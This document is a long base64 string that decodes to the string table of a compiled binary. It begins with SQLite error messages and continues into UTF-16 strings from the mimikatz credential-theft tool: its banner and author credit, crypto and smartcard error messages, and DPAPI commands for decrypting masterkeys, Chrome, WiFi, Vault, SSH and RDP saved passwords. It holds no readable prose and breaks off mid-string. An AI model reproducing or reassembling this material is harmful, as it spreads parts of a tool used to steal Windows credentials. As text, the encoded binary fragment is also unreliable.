dGhlIHNhbWUgam9pbgAAY2Fubm90IGpvaW4gdXNpbmcgY29sdW1uICVzIC0gY29sdW1uIG5vdCBwcmVzZW50IGluIGJvdGggdGFibGVzAFVOSU9OIEFMTAAAAElOVEVSU0VDVAAAAEVYQ0VQVAAAVU5JT04AAAByb3dpZAAAAGNvbHVtbiVkAAAAACUuKno6JXUAYWxsIFZBTFVFUyBtdXN0IGhhdmUgdGhlIHNhbWUgbnVtYmVyIG9mIHRlcm1zAAAAAAAAAFNFTEVDVHMgdG8gdGhlIGxlZnQgYW5kIHJpZ2h0IG9mICVzIGRvIG5vdCBoYXZlIHRoZSBzYW1lIG51bWJlciBvZiByZXN1bHQgY29sdW1ucwAAAG5vIHN1Y2ggaW5kZXg6ICVzAAAAJyVzJyBpcyBub3QgYSBmdW5jdGlvbgAAbXVsdGlwbGUgcmVmZXJlbmNlcyB0byByZWN1cnNpdmUgdGFibGU6ICVzAABjaXJjdWxhciByZWZlcmVuY2U6ICVzAAB0YWJsZSAlcyBoYXMgJWQgdmFsdWVzIGZvciAlZCBjb2x1bW5zAAAAbXVsdGlwbGUgcmVjdXJzaXZlIHJlZmVyZW5jZXM6ICVzAAAAcmVjdXJzaXZlIHJlZmVyZW5jZSBpbiBhIHN1YnF1ZXJ5OiAlcwAAAHRvbyBtYW55IHJlZmVyZW5jZXMgdG8gIiVzIjogbWF4IDY1NTM1AAAqAAAAJXMuJXMuJXMAAAAAbm8gc3VjaCB0YWJsZTogJXMAAABubyB0YWJsZXMgc3BlY2lmaWVkAHRvbyBtYW55IGNvbHVtbnMgaW4gcmVzdWx0IHNldAAARElTVElOQ1QgYWdncmVnYXRlcyBtdXN0IGhhdmUgZXhhY3RseSBvbmUgYXJndW1lbnQAAG5vIHN1Y2ggY29sdW1uOiAlcwAAcm93cyB1cGRhdGVkAAAAAEJJTkFSWQAAdG9vIG1hbnkgYXJndW1lbnRzIG9uICVzKCkgLSBtYXggJWQAbm8gcXVlcnkgc29sdXRpb24AAABhdCBtb3N0ICVkIHRhYmxlcyBpbiBhIGpvaW4AdG9vIG1hbnkgdGVybXMgaW4gY29tcG91bmQgU0VMRUNUAAAAc3ludGF4IGVycm9yIGFmdGVyIGNvbHVtbiBuYW1lICIlLipzIgAAAHBhcnNlciBzdGFjayBvdmVyZmxvdwAAAHVua25vd24gdGFibGUgb3B0aW9uOiAlLipzAABzZXQgbGlzdAAAAABuZWFyICIlVCI6IHN5bnRheCBlcnJvcgB0b28gbWFueSBhcmd1bWVudHMgb24gZnVuY3Rpb24gJVQAAAB1bnJlY29nbml6ZWQgdG9rZW46ICIlVCIAAAAAMjAxNi0wNS0xOCAxMDo1NzozMCBmYzQ5ZjU1NmU0ODk3MDU2MWQ3YWI2YTJmMjRmZGQ3ZDllYjgxZmYyAAAAAHVuYWJsZSB0byBjbG9zZSBkdWUgdG8gdW5maW5hbGl6ZWQgc3RhdGVtZW50cyBvciB1bmZpbmlzaGVkIGJhY2t1cHMAbm90IGFuIGVycm9yAAAAAFNRTCBsb2dpYyBlcnJvciBvciBtaXNzaW5nIGRhdGFiYXNlAGFjY2VzcyBwZXJtaXNzaW9uIGRlbmllZAAAAABjYWxsYmFjayByZXF1ZXN0ZWQgcXVlcnkgYWJvcnQAAGRhdGFiYXNlIGlzIGxvY2tlZAAAZGF0YWJhc2UgdGFibGUgaXMgbG9ja2VkAAAAAGF0dGVtcHQgdG8gd3JpdGUgYSByZWFkb25seSBkYXRhYmFzZQAAAABpbnRlcnJ1cHRlZABkaXNrIEkvTyBlcnJvcgAAZGF0YWJhc2UgZGlzayBpbWFnZSBpcyBtYWxmb3JtZWQAAAAAdW5rbm93biBvcGVyYXRpb24AAABkYXRhYmFzZSBvciBkaXNrIGlzIGZ1bGwAAAAAdW5hYmxlIHRvIG9wZW4gZGF0YWJhc2UgZmlsZQAAAABsb2NraW5nIHByb3RvY29sAAAAAHRhYmxlIGNvbnRhaW5zIG5vIGRhdGEAAGNvbnN0cmFpbnQgZmFpbGVkAAAAZGF0YXR5cGUgbWlzbWF0Y2gAAABsaWJyYXJ5IHJvdXRpbmUgY2FsbGVkIG91dCBvZiBzZXF1ZW5jZQAAbGFyZ2UgZmlsZSBzdXBwb3J0IGlzIGRpc2FibGVkAABhdXRob3JpemF0aW9uIGRlbmllZAAAAABhdXhpbGlhcnkgZGF0YWJhc2UgZm9ybWF0IGVycm9yAGJpbmQgb3IgY29sdW1uIGluZGV4IG91dCBvZiByYW5nZQAAAGZpbGUgaXMgZW5jcnlwdGVkIG9yIGlzIG5vdCBhIGRhdGFiYXNlAAB1bmtub3duIGVycm9yAAAAYWJvcnQgZHVlIHRvIFJPTExCQUNLAAAAdW5hYmxlIHRvIGRlbGV0ZS9tb2RpZnkgdXNlci1mdW5jdGlvbiBkdWUgdG8gYWN0aXZlIHN0YXRlbWVudHMAAAAAAAB1bmFibGUgdG8gZGVsZXRlL21vZGlmeSBjb2xsYXRpb24gc2VxdWVuY2UgZHVlIHRvIGFjdGl2ZSBzdGF0ZW1lbnRzAGxvY2FsaG9zdAAAAGludmFsaWQgdXJpIGF1dGhvcml0eTogJS4qcwBjYWNoZQAAAHNoYXJlZAAAcHJpdmF0ZQBtb2RlAAAAAHJvAABydwAAcndjAG1lbW9yeQAAYWNjZXNzAABubyBzdWNoICVzIG1vZGU6ICVzACVzIG1vZGUgbm90IGFsbG93ZWQ6ICVzAG5vIHN1Y2ggdmZzOiAlcwBOT0NBU0UAAFJUUklNAAAAbWFpbgAAAAB0ZW1wAAAAACVzIGF0IGxpbmUgJWQgb2YgWyUuMTBzXQAAAABkYXRhYmFzZSBjb3JydXB0aW9uAG1pc3VzZQAAY2Fubm90IG9wZW4gZmlsZQAAAAAKAG0AaQBtAGkAawBhAHQAegAoAHAAbwB3AGUAcgBzAGgAZQBsAGwAKQAgACMAIAAlAHMACgAAAAoAIAAgAC4AIwAjACMAIwAjAC4AIAAgACAAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADEALgAxACAAKAB4ADgANgApACAAIwAxADcANwA2ADMAIABGAGUAYgAgADIAMwAgADIAMAAxADkAIAAxADIAOgAxADAAOgAyADcACgAgAC4AIwAjACAAXgAgACMAIwAuACAAIAAiAEEAIABMAGEAIABWAGkAZQAsACAAQQAgAEwAJwBBAG0AbwB1AHIAIgAgAC0AIAAoAG8AZQAuAGUAbwApACAAKgAqACAASwBpAHQAdABlAG4AIABFAGQAaQB0AGkAbwBuACAAKgAqAAoAIAAjACMAIAAvACAAXAAgACMAIwAgACAALwAqACoAKgAgAEIAZQBuAGoAYQBtAGkAbgAgAEQARQBMAFAAWQAgAGAAZwBlAG4AdABpAGwAawBpAHcAaQBgACAAKAAgAGIAZQBuAGoAYQBtAGkAbgBAAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAgACkACgAgACMAIwAgAFwAIAAvACAAIwAjACAAIAAgACAAIAAgACAAPgAgAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAvAG0AaQBtAGkAawBhAHQAegAKACAAJwAjACMAIAB2ACAAIwAjACcAIAAgACAAIAAgACAAIABWAGkAbgBjAGUAbgB0ACAATABFACAAVABPAFUAWAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAIAB2AGkAbgBjAGUAbgB0AC4AbABlAHQAbwB1AHgAQABnAG0AYQBpAGwALgBjAG8AbQAgACkACgAgACAAJwAjACMAIwAjACMAJwAgACAAIAAgACAAIAAgACAAPgAgAGgAdAB0AHAAOgAvAC8AcABpAG4AZwBjAGEAcwB0AGwAZQAuAGMAbwBtACAALwAgAGgAdAB0AHAAOgAvAC8AbQB5AHMAbQBhAHIAdABsAG8AZwBvAG4ALgBjAG8AbQAgACAAIAAqACoAKgAvAAoAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBpAG4AaQB0AE8AcgBDAGwAZQBhAG4AIAA7ACAAQwBvAEkAbgBpAHQAaQBhAGwAaQB6AGUARQB4ADoAIAAlADAAOAB4AAoAAAAAAEkATgBJAFQAAAAAAEMATABFAEEATgAAAD4APgA+ACAAJQBzACAAbwBmACAAJwAlAHMAJwAgAG0AbwBkAHUAbABlACAAZgBhAGkAbABlAGQAIAA6ACAAJQAwADgAeAAKAAAAAAA6ADoAAAAAAAAAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBkAG8ATABvAGMAYQBsACAAOwAgACIAJQBzACIAIABtAG8AZAB1AGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkACAAIQAKAAAACgAlADEANgBzAAAAIAAgAC0AIAAgACUAcwAAACAAIABbACUAcwBdAAAAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBkAG8ATABvAGMAYQBsACAAOwAgACIAJQBzACIAIABjAG8AbQBtAGEAbgBkACAAbwBmACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAKAE0AbwBkAHUAbABlACAAOgAJACUAcwAAAAAACgBGAHUAbABsACAAbgBhAG0AZQAgADoACQAlAHMAAAAKAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgADoACQAlAHMAAABuY3J5cHQuZGxsAABiY3J5cHQuZGxsAAAKAEEAbABnAGkAZAAgACAAIAAgACAAOgAgACUAcwAgACgAMAB4ACUAeAApAAoAAABLAGUAeQAgACgAJQAzAHUAKQAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeAB0AHIAYQBjAHQAbwByAF8AYwBhAHAAaQAzADIAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAZgByAG8AbQAgAEAAIAAlAHAAAABNAG8AZABlACAAIAAgACAAIAAgADoAIAAlAHMAIAAoADAAeAAlAHgAKQAKAAAAAABJAFYAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAUwBhAGwAdAAgACAAIAAgACAAIAA6ACAAAAAAAFAAcgBpAHYASwBlAHkAIAAgACAAOgAgAAAAAAAAAAAACgAhACEAIQAgAHAAYQByAHQAcwAgAGEAZgB0AGUAcgAgAHAAdQBiAGwAaQBjACAAZQB4AHAAbwBuAGUAbgB0ACAAYQByAGUAIABwAHIAbwBjAGUAcwBzACAAZQBuAGMAcgB5AHAAdABlAGQAIAAhACEAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeAB0AHIAYQBjAHQAbwByAF8AYgBjAHIAeQBwAHQAMwAyAF8AYgBuACAAOwAgAFUAbgBrAG4AbwB3AG4AIAB0AGEAZwA6ACAAJQAwADgAeAAKAAAAAAAlAHMAOgAgAAAAAAAKAEEAbABnAEkAZAAgACAAIAAgACAAOgAgAAAAJQBzACAAKAAwAHgAJQB4ACkACgAAAAAAUAB1AGIARQB4AHAAIAAgACAAIAAAAAAATQBvAGQAdQBsAHUAcwAgACAAIAAAAAAAUAByAGkAbQBlADEAIAAgACAAIAAAAAAAUAByAGkAbQBlADIAIAAgACAAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeAB0AHIAYQBjAHQAbwByAF8AYgBjAHIAeQBwAHQAMwAyACAAOwAgAFQAYQBnACAAJQAuADQAUwAgAG4AbwB0ACAAcwB1AHAAcABvAHIAdABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAdAByAGEAYwB0AG8AcgBfAGIAYwByAHkAcAB0ADMAMgAgADsAIABVAG4AcwB1AHAAcABvAHIAdABlAGQAIABpAG4AdABlAHIAZgBhAGMAZQAsAGEAbABnACAAKAAwAHgAJQB4ACkACgAAAAAACgAlAHcAWgAgACgAJQB1ACkACgAAAAAAQ1BHZW5LZXkAAAAAQ1BEZXJpdmVLZXkAQ1BEZXN0cm95S2V5AAAAAENQU2V0S2V5UGFyYW0AAABDUEdldEtleVBhcmFtAAAAQ1BFeHBvcnRLZXkAQ1BJbXBvcnRLZXkAQ1BFbmNyeXB0AAAAQ1BEZWNyeXB0AAAAQ1BEdXBsaWNhdGVLZXkAAHIAcwBhAGUAbgBoAC4AZABsAGwAAAAAAGIAYwByAHkAcAB0AC4AZABsAGwAAAAAAGIAYwByAHkAcAB0AHAAcgBpAG0AaQB0AGkAdgBlAHMALgBkAGwAbAAAAAAATABvAGMAYQBsACAAQwByAHkAcAB0AG8AQQBQAEkAIABwAGEAdABjAGgAZQBkAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjAF8AcAByAG8AdgB0AHkAcABlAGYAcgBvAG0AbgBhAG0AZQAgADsAIABDAHIAeQBwAHQARQBuAHUAbQBQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABcAFwALgBcAAAAAAAgACAAIAAgAFwAIAAlADAAMgB4ACAALQAgAAAATABDAEQAIABMAGEAeQBvAHUAdAA6ACAAJQBoAGgAdQB4ACUAaABoAHUACgAAAAAAAAAAAEUAbgB0AHIAeQAgAFYAYQBsAGkAZABhAHQAaQBvAG4AIABDAG8AbgBkAGkAdABpAG8AbgA6ACAAMAB4ACUAMAAyAHgACgAAAFQAaQBtAGUATwB1AHQAMgA6ACAAJQBoAGgAdQAKAAAATABDAEQAIABNAGEAeAAgAEMAaABhAHIAYQBjAHQAZQByAHMAOgAgACUAaAB1AAoAAAAAAEwAQwBEACAATQBhAHgAIABMAGkAbgBlAHMAOgAgACUAaAB1AAoAAABNAGkAbgAgAFAAaQBuACAAUwBpAHoAZQA6ACAAJQBoAGgAdQAKAAAATQBhAHgAIABQAGkAbgAgAFMAaQB6AGUAOgAgACUAaABoAHUACgAAAEYAaQByAG0AdwBhAHIAZQBJAEQAOgAgACUALgAqAFMACgAAAFkARQBTAAAATgBPAAAAAABQAFAARABVACAAUwB1AHAAcABvAHIAdAA6ACAAJQBzAAAAAAAAAAAAIAAtACAAUwBDAGEAcgBkAEMAbwBuAHQAcgBvAGwAKABGAEUAQQBUAFUAUgBFAF8AQwBDAEkARABfAEUAUwBDAF8AQwBPAE0ATQBBAE4ARAApAAAAIAAtACAAUwBDAGEAcgBkAFQAcgBhAG4AcwBtAGkAdAAAAAAATQBhAHgAIABBAFAARABVACAARABhAHQAYQAgAFMAaQB6AGUAOgAgACUAdQAgAC0AIAAwAHgAJQB4AAoAAAAAAFUAUwBCACAAVgBlAG4AZABvAHIASQBEACAAOgAgACUAMAA0AHgACgAAAAAAVQBTAEIAIABQAHIAbwBkAHUAYwB0AEkARAA6ACAAJQAwADQAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwBfAHAAcgBvAHAAXwB0AGwAdgBfAGYAZQBhAHQAdQByAGUAcwAgADsAIABTAEMAYQByAGQAQwBvAG4AdAByAG8AbAAoACEARgBFAEEAVABVAFIARQBfAEcARQBUAF8AVABMAFYAXwBQAFIATwBQAEUAUgBUAEkARQBTACEAKQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABPTU5JS0VZAEUAWABFAEMAVQBUAEUAXwBQAEEAQwBFAAAAAABWAEUAUgBJAEYAWQBfAFAASQBOAF8AUwBUAEEAUgBUAAAAAABWAEUAUgBJAEYAWQBfAFAASQBOAF8ARgBJAE4ASQBTAEgAAABNAE8ARABJAEYAWQBfAFAASQBOAF8AUwBUAEEAUgBUAAAAAABNAE8ARABJAEYAWQBfAFAASQBOAF8ARgBJAE4ASQBTAEgAAABHAEUAVABfAEsARQBZAF8AUABSAEUAUwBTAEUARAAAAFYARQBSAEkARgBZAF8AUABJAE4AXwBEAEkAUgBFAEMAVAAAAE0ATwBEAEkARgBZAF8AUABJAE4AXwBEAEkAUgBFAEMAVAAAAE0AQwBUAF8AUgBFAEEARABFAFIAXwBEAEkAUgBFAEMAVAAAAE0AQwBUAF8AVQBOAEkAVgBFAFIAUwBBAEwAAABJAEYARABfAFAASQBOAF8AUABSAE8AUAAAAAAAQQBCAE8AUgBUAAAAUwBFAFQAXwBTAFAARQBfAE0ARQBTAFMAQQBHAEUAAABWAEUAUgBJAEYAWQBfAFAASQBOAF8ARABJAFIARQBDAFQAXwBBAFAAUABfAEkARAAAAAAATQBPAEQASQBGAFkAXwBQAEkATgBfAEQASQBSAEUAQwBUAF8AQQBQAFAAXwBJAEQAAAAAAFcAUgBJAFQARQBfAEQASQBTAFAATABBAFkAAABHAEUAVABfAEsARQBZAAAASQBGAEQAXwBEAEkAUwBQAEwAQQBZAF8AUABSAE8AUABFAFIAVABJAEUAUwAAAAAARwBFAFQAXwBUAEwAVgBfAFAAUgBPAFAARQBSAFQASQBFAFMAAAAAAEMAQwBJAEQAXwBFAFMAQwBfAEMATwBNAE0AQQBOAEQAAAAAACAAIAAgAHwAIABWAGUAbgBkAG8AcgA6ACAAJQBaAAoAAAAAACAAIAAgAHwAIABNAG8AZABlAGwAIAA6ACAAJQBaAAoAAAAAACAAIAAgAHwAIABGAFcAIAB2AGUAcgBzAGkAbwBuACAAOgAgACUAdQAuACUAMAAyAHUACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAXwBwAHIAbwBwACAAOwAgAFMAQwBhAHIAZABDAG8AbgB0AHIAbwBsACgAQwBNAF8ASQBPAEMAVABMAF8ARwBFAFQAXwBGAFcAXwBWAEUAUgBTAEkATwBOACkAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAIAAgACAAfAAgAEwAaQBiACAAdgBlAHIAcwBpAG8AbgA6ACAAJQB1AC4AJQAwADIAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwBfAHAAcgBvAHAAIAA7ACAAUwBDAGEAcgBkAEMAbwBuAHQAcgBvAGwAKABDAE0AXwBJAE8AQwBUAEwAXwBHAEUAVABfAEwASQBCAF8AVgBFAFIAUwBJAE8ATgApADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAIAAgACAAfAAgAEYAZQBhAHQAdQByAGUAcwA6AAoAAAAgACAAIABcACAAAAAlADAAMgB4ACAALQAgACUAcwAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjAF8AcAByAG8AcAAgADsAIABMAGUAbgBnAHQAaAAgACgAJQBoAGgAdQApACAAIQA9ACAAcwBpAHoAZQBvAGYAKABEAFcATwBSAEQAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAXwBwAHIAbwBwACAAOwAgAFMAQwBhAHIAZABDAG8AbgBuAGUAYwB0ADoAIAAwAHgAJQAwADgAeAAKAAAAUwBDAGEAcgBkACQAQQBsAGwAUgBlAGEAZABlAHIAcwAAAAAAUwBtAGEAcgB0AEMAYQByAGQAIAByAGUAYQBkAGUAcgBzADoAAAAAAAoAIAAqACAAJQBzAAoAAAAgACAAIABBAFQAUgAgACAAOgAgAAAAAAAgACAAIABNAG8AZABlAGwAOgAgACUAcwAKAAAAIAAgACAAUABSAEkATQAgADoAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjACAAOwAgAFMAQwBhAHIAZABHAGUAdABDAGEAcgBkAFQAeQBwAGUAUAByAG8AdgBpAGQAZQByAE4AYQBtAGUAKABQAFIASQBNACkAOgAgADAAeAAlADAAOAB4AAoAAAAAACAAIAAgAEMAUwBQACAAIAA6ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEcAZQB0AEMAYQByAGQAVAB5AHAAZQBQAHIAbwB2AGkAZABlAHIATgBhAG0AZQAoAEMAUwBQACkAOgAgADAAeAAlADAAOAB4AAoAAAAgACAAIABLAFMAUAAgACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEcAZQB0AEMAYQByAGQAVAB5AHAAZQBQAHIAbwB2AGkAZABlAHIATgBhAG0AZQAoAEsAUwBQACkAOgAgADAAeAAlADAAOAB4AAoAAAAgACAAIABNAEQAUgBWACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEcAZQB0AEMAYQByAGQAVAB5AHAAZQBQAHIAbwB2AGkAZABlAHIATgBhAG0AZQAoAE0ARABSACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEwAaQBzAHQAQwBhAHIAZABzADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwAgADsAIABTAEMAYQByAGQARwBlAHQAQQB0AHQAcgBpAGIAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEMAbwBuAG4AZQBjAHQAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwAgADsAIABTAEMAYQByAGQATABpAHMAdABSAGUAYQBkAGUAcgBzADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEUAcwB0AGEAYgBsAGkAcwBoAEMAbwBuAHQAZQB4AHQAOgAgADAAeAAlADAAOAB4AAoAAABtAGQAQwBhAGMAaABlAEEAZABkAEYAaQBsAGUACgAAAG0AZABDAGEAYwBoAGUATABvAG8AawB1AHAARgBpAGwAZQAKAAAAAABtAGQAQwBhAGMAaABlAEQAZQBsAGUAdABlAEYAaQBsAGUACgAAAAAAbQBkAFAAYQBkAEQAYQB0AGEACgAAAAAAPHJvb3Q+AAAgACAAIAAgAFwAJQAtADgAUwA6ACAAAAAlAFMAIAA7ACAAAAA8AGUAbQBwAHQAeQA+AAoAAAAAAAAAAABFAFIAUgBPAFIAIABlAG4AdQBtAGEAIAA7ACAAQwBhAHIAZABFAG4AdQBtAEYAaQBsAGUAcwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAIAAoACUAdQApAAAAQ2FyZEFjcXVpcmVDb250ZXh0AAAAAAAAIAAgACAAIABDAG8AbgB0AGEAaQBuAGUAcgBzADoAIAAlAHUAIAAvACAAJQB1ACAAKAAlAHUAIABiAHkAdABlACgAcwApACAAZgByAGUAZQApAAoAAAAAAAkAWwAlADIAdQBdACAAAABTAGkAZwBuAGEAdAB1AHIAZQA6ACAAAAAgAC0AIAAAAEUAeABjAGgAYQBuAGcAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AbQBkAHIAIAA7ACAAQwBhAHIAZABHAGUAdABDAG8AbgB0AGEAaQBuAGUAcgBJAG4AZgBvACgAJQB1ACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBtAGQAcgAgADsAIABDAGEAcgBkAFEAdQBlAHIAeQBGAHIAZQBlAFMAcABhAGMAZQA6ACAAMAB4ACUAMAA4AHgACgAAAG1zY3AAAAAAbWltaWthdHoAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AbQBkAHIAIAA7ACAAQwBhAHIAZABEAGUAbABlAHQAZQBDAG8AbgB0AGUAeAB0ADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAG0AZAByACAAOwAgAEMAYQByAGQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBtAGQAcgAgADsAIABOAG8AIABDAGEAcgBkAEEAYwBxAHUAaQByAGUAQwBvAG4AdABlAHgAdAAgAGUAeABwAG8AcgB0ACAAaQBuACAAJwAlAHMAJwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AbQBkAHIAIAA7ACAATABvAGEAZABMAGkAYgByAGEAcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABiAGwAbwBiAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAARABQAEEAUABJACAAYgBsAG8AYgAsACAAdQBuAHAAcgBvAHQAZQBjAHQAIABpAHQAIAB3AGkAdABoACAAQQBQAEkAIABvAHIAIABNAGEAcwB0AGUAcgBrAGUAeQAAAHAAcgBvAHQAZQBjAHQAAAAAAAAAUAByAG8AdABlAGMAdAAgAGEAIABkAGEAdABhACAAdgBpAGEAIABhACAARABQAEEAUABJACAAYwBhAGwAbAAAAG0AYQBzAHQAZQByAGsAZQB5AAAAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABNAGEAcwB0AGUAcgBrAGUAeQAgAGYAaQBsAGUALAAgAHUAbgBwAHIAbwB0AGUAYwB0ACAAZQBhAGMAaAAgAE0AYQBzAHQAZQByAGsAZQB5ACAAKABrAGUAeQAgAGQAZQBwAGUAbgBkAGkAbgBnACkAAABjAHIAZQBkAGgAaQBzAHQAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABDAHIAZQBkAGgAaQBzAHQAIABmAGkAbABlAAAAAABjAGEAcABpAAAAAABDAEEAUABJACAAawBlAHkAIAB0AGUAcwB0AAAAYwBuAGcAAABDAE4ARwAgAGsAZQB5ACAAdABlAHMAdAAAAAAAYwByAGUAZAAAAAAAQwBSAEUARAAgAHQAZQBzAHQAAAB2AGEAdQBsAHQAAABWAEEAVQBMAFQAIAB0AGUAcwB0AAAAAAB3AGkAZgBpAAAAAABXAGkARgBpACAAdABlAHMAdAAAAHcAdwBhAG4AAAAAAFcAdwBhAG4AIAB0AGUAcwB0AAAAYwBoAHIAbwBtAGUAAAAAAEMAaAByAG8AbQBlACAAdABlAHMAdAAAAHMAcwBoAAAAUwBTAEgAIABBAGcAZQBuAHQAIAByAGUAZwBpAHMAdAByAHkAIABjAGEAYwBoAGUAAAAAAHIAZABnAAAAUgBEAEcAIABzAGEAdgBlAGQAIABwAGEAcwBzAHcAbwByAGQAcwAAAGMAYQBjAGgAZQAAAGQAcABhAHAAaQAAAAAAAABEAFAAQQBQAEkAIABNAG8AZAB1AGwAZQAgACgAYgB5ACAAQQBQAEkAIABvAHIAIABSAEEAVwAgAGEAYwBjAGUAcwBzACkAAABEAGEAdABhACAAUAByAG8AdABlAGMAdABpAG8AbgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAgAHAAcgBvAGcAcgBhAG0AbQBpAG4AZwAgAGkAbgB0AGUAcgBmAGEAYwBlAAAAaQBuAAAAAABkAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA6ACAAJQBzAAoAAABvAHUAdAAAAFcAcgBpAHQAZQAgAHQAbwAgAGYAaQBsAGUAIAAnACUAcwAnACAAaQBzACAATwBLAAoAAABkAGEAdABhADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkA